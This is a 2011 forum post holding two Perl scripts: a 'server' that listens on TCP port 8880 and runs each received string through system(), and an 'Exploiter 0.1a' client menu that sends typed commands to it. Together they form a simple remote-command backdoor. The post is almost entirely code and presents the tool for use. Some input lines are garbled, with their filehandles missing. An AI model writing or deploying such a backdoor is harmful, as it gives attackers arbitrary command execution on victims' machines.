slacker Posted June 30, 2011 Report Posted June 30, 2011 Author:Semtex-PrimedServer:#!/usr/bin/perluse IO::Socket;while(1) {my $sock = new IO::Socket::INET ( LocalHost => 'netbook1-linux', LocalPort => '8880', Proto => 'tcp', Listen => 1, Reuse => 1, ); die "\t\tCould not create socket: $!\n" unless $sock; my $new_sock = $sock->accept(); while () { print $_; $new_sock->recv($recv_data,1024); if($recv_data eq 'q' or $recv_data eq 'Q') { close $new_sock; } else { system("$recv_data"); last; } }# close($sock);}Exploiter client:#!/usr/bin/perluse IO::Socket;@header = ( "\n\n\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n", "\t\t|+| Exploiter 0.1a |+|\n", "\t\t|+| ~ Semtex-Primed ~ |+|\n");@options = ( "\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n", "\t\t|+| 1. Connect to server |+|\n", "\t\t|+| 2. Close |+|\n", "\t\t|+| |+|\n", "\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n");while(1) { system("clear"); print @header; print @options; print "\t\tWhat is your option? \n"; print "\t\t>>> "; $choice = ; chomp ($choice); if($choice eq "1") { my $sock = new IO::Socket::INET ( PeerAddr => 'netbook1-linux', PeerPort => '8880', Proto => 'tcp', ); die "\t\tCould not create socket: $!\n" unless $sock; print $sock "\t\tConnected!!\n"; while ($sock) { print "\t\tConnected, here's your choices\n"; print "\t\t1. Enter command\n"; print "\t\t2. quit\n"; print "\t\t>> "; $choice = ; chomp ($choice); if ($choice eq "2") { close($sock); exit($sock); last } elsif ($choice eq "1") { print "\t\tEnter Command! \n"; print "\t\t>> "; $data2send = ; chomp ($data2send); $sock->send($data2send); close $sock; last; } } } elsif($choice eq "2") { exit }} Quote